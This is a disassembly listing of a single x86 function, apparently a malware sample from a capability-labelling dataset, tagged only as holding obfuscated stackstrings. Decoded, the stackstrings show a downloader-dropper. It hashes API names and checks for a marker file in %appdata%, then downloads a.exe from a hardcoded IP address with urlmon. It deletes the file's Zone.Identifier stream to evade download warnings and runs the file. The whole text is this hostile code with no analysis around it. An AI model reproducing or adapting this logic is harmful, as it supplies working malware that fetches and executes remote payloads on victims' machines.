Function at 0x40f000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x970
call fcn.0040fcc0
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x40f022
jmp 0x40f75f
push 0
push 1
push 0x9b102e2d
mov eax, dword [ebp - 0x23c]
push eax
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0
jne 0x40f04e
jmp 0x40f75f
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x526e0dcd
mov edx, dword [ebp - 0x23c]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0
jne 0x40f07f
jmp 0x40f75f
mov eax, dword [ebp - 0x734]
push eax
push 1
push 0xc4b4a94d
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
jne 0x40f0b0
jmp 0x40f75f
mov edx, 0x25
mov word [ebp - 0x760], dx
mov eax, 0x61
mov word [ebp - 0x75e], ax
mov ecx, 0x70
mov word [ebp - 0x75c], cx
mov edx, 0x70
mov word [ebp - 0x75a], dx
mov eax, 0x64
mov word [ebp - 0x758], ax
mov ecx, 0x61
mov word [ebp - 0x756], cx
mov edx, 0x74
mov word [ebp - 0x754], dx
mov eax, 0x61
mov word [ebp - 0x752], ax
mov ecx, 0x25
mov word [ebp - 0x750], cx
mov edx, 0x5c
mov word [ebp - 0x74e], dx
mov eax, 0x77
mov word [ebp - 0x74c], ax
mov ecx, 0x69
mov word [ebp - 0x74a], cx
mov edx, 0x6e
mov word [ebp - 0x748], dx
mov eax, 0x73
mov word [ebp - 0x746], ax
mov ecx, 0x76
mov word [ebp - 0x744], cx
mov edx, 0x63
mov word [ebp - 0x742], dx
mov eax, 0x73
mov word [ebp - 0x740], ax
mov ecx, 0x2e
mov word [ebp - 0x73e], cx
mov edx, 0x74
mov word [ebp - 0x73c], dx
mov eax, 0x78
mov word [ebp - 0x73a], ax
mov ecx, 0x74
mov word [ebp - 0x738], cx
xor edx, edx
mov word [ebp - 0x736], dx
push 0x104
lea eax, [ebp - 0x970]
push eax
lea ecx, [ebp - 0x760]
push ecx
call dword [ebp - 0x6a4]
lea edx, [ebp - 0x970]
push edx
call dword [ebp - 0x764]
cmp eax, 0xffffffff
je 0x40f1e5
jmp 0x40f75f
mov byte [ebp - 0x238], 0x75
mov byte [ebp - 0x237], 0x72
mov byte [ebp - 0x236], 0x6c
mov byte [ebp - 0x235], 0x6d
mov byte [ebp - 0x234], 0x6f
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x2e
mov byte [ebp - 0x231], 0x64
mov byte [ebp - 0x230], 0x6c
mov byte [ebp - 0x22f], 0x6c
mov byte [ebp - 0x22e], 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
call dword [ebp - 0x734]
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0
jne 0x40f257
jmp 0x40f75f
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x7a3a310
mov edx, dword [ebp - 0x23c]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0
jne 0x40f288
jmp 0x40f75f
lea eax, [ebp - 0x650]
push eax
push 0x104
call dword [ebp - 0x6e4]
test eax, eax
jne 0x40f2a3
jmp 0x40f75f
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x165d9659
mov edx, dword [ebp - 0x23c]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0
jne 0x40f2d4
jmp 0x40f75f
lea eax, [ebp - 0x448]
push eax
push 0
push 0
lea ecx, [ebp - 0x650]
push ecx
call dword [ebp - 0x6e8]
test eax, eax
jne 0x40f2f5
jmp 0x40f75f
push 0x2e
lea edx, [ebp - 0x448]
push edx
call fcn.0040f9d0
add esp, 8
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x40f31a
jmp 0x40f75f
mov eax, 0x2e
mov word [ebp - 0x65c], ax
mov ecx, 0x65
mov word [ebp - 0x65a], cx
mov edx, 0x78
mov word [ebp - 0x658], dx
mov eax, 0x65
mov word [ebp - 0x656], ax
xor ecx, ecx
mov word [ebp - 0x654], cx
push 0xa
lea edx, [ebp - 0x65c]
push edx
mov eax, dword [ebp - 0x22c]
push eax
call fcn.0040f960
add esp, 0xc
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0xeae447bb
mov edx, dword [ebp - 0x664]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x40f39c
jmp 0x40f75f
mov eax, 0x68
mov word [ebp - 0x6a0], ax
mov ecx, 0x74
mov word [ebp - 0x69e], cx
mov edx, 0x74
mov word [ebp - 0x69c], dx
mov eax, 0x70
mov word [ebp - 0x69a], ax
mov ecx, 0x3a
mov word [ebp - 0x698], cx
mov edx, 0x2f
mov word [ebp - 0x696], dx
mov eax, 0x2f
mov word [ebp - 0x694], ax
mov ecx, 0x31
mov word [ebp - 0x692], cx
mov edx, 0x38
mov word [ebp - 0x690], dx
mov eax, 0x35
mov word [ebp - 0x68e], ax
mov ecx, 0x2e
mov word [ebp - 0x68c], cx
mov edx, 0x31
mov word [ebp - 0x68a], dx
mov eax, 0x37
mov word [ebp - 0x688], ax
mov ecx, 0x36
mov word [ebp - 0x686], cx
mov edx, 0x2e
mov word [ebp - 0x684], dx
mov eax, 0x32
mov word [ebp - 0x682], ax
mov ecx, 0x37
mov word [ebp - 0x680], cx
mov edx, 0x2e
mov word [ebp - 0x67e], dx
mov eax, 0x31
mov word [ebp - 0x67c], ax
mov ecx, 0x33
mov word [ebp - 0x67a], cx
mov edx, 0x32
mov word [ebp - 0x678], dx
mov eax, 0x2f
mov word [ebp - 0x676], ax
mov ecx, 0x61
mov word [ebp - 0x674], cx
mov edx, 0x2e
mov word [ebp - 0x672], dx
mov eax, 0x65
mov word [ebp - 0x670], ax
mov ecx, 0x78
mov word [ebp - 0x66e], cx
mov edx, 0x65
mov word [ebp - 0x66c], dx
xor eax, eax
mov word [ebp - 0x66a], ax
push 0
push 0
lea ecx, [ebp - 0x448]
push ecx
lea edx, [ebp - 0x6a0]
push edx
push 0
call dword [ebp - 0x228]
test eax, eax
je 0x40f50c
jmp 0x40f75f
mov byte [ebp - 0x224], 0x75
mov byte [ebp - 0x223], 0x73
mov byte [ebp - 0x222], 0x65
mov byte [ebp - 0x221], 0x72
mov byte [ebp - 0x220], 0x33
mov byte [ebp - 0x21f], 0x32
mov byte [ebp - 0x21e], 0x2e
mov byte [ebp - 0x21d], 0x64
mov byte [ebp - 0x21c], 0x6c
mov byte [ebp - 0x21b], 0x6c
mov byte [ebp - 0x21a], 0
push 0
push 0
lea eax, [ebp - 0x224]
push eax
call dword [ebp - 0x734]
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0
jne 0x40f57e
jmp 0x40f75f
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x201d0dd6
mov edx, dword [ebp - 0x660]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jne 0x40f5af
jmp 0x40f75f
mov eax, 0x25
mov word [ebp - 0x6dc], ax
mov ecx, 0x73
mov word [ebp - 0x6da], cx
mov edx, 0x3a
mov word [ebp - 0x6d8], dx
mov eax, 0x5a
mov word [ebp - 0x6d6], ax
mov ecx, 0x6f
mov word [ebp - 0x6d4], cx
mov edx, 0x6e
mov word [ebp - 0x6d2], dx
mov eax, 0x65
mov word [ebp - 0x6d0], ax
mov ecx, 0x2e
mov word [ebp - 0x6ce], cx
mov edx, 0x49
mov word [ebp - 0x6cc], dx
mov eax, 0x64
mov word [ebp - 0x6ca], ax
mov ecx, 0x65
mov word [ebp - 0x6c8], cx
mov edx, 0x6e
mov word [ebp - 0x6c6], dx
mov eax, 0x74
mov word [ebp - 0x6c4], ax
mov ecx, 0x69
mov word [ebp - 0x6c2], cx
mov edx, 0x66
mov word [ebp - 0x6c0], dx
mov eax, 0x69
mov word [ebp - 0x6be], ax
mov ecx, 0x65
mov word [ebp - 0x6bc], cx
mov edx, 0x72
mov word [ebp - 0x6ba], dx
xor eax, eax
mov word [ebp - 0x6b8], ax
lea ecx, [ebp - 0x448]
push ecx
lea edx, [ebp - 0x6dc]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x668]
add esp, 0xc
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x654fde9a
mov edx, dword [ebp - 0x23c]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0
jne 0x40f6df
jmp 0x40f75f
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x6e0]
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x5c856c47
mov edx, dword [ebp - 0x23c]
push edx
call fcn.0040fa70
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40f714
jmp 0x40f75f
push 0x44
push 0
lea eax, [ebp - 0x730]
push eax
call fcn.0040f790
add esp, 0xc
mov dword [ebp - 0x730], 0x44
lea ecx, [ebp - 0x6b4]
push ecx
lea edx, [ebp - 0x730]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x448]
push eax
call dword [ebp - 0x10]
xor ecx, ecx
jne 0x40f009
mov dword [ebp - 8], 0x7e81
call fcn.0040fcb0
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
add edx, dword [ecx + 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret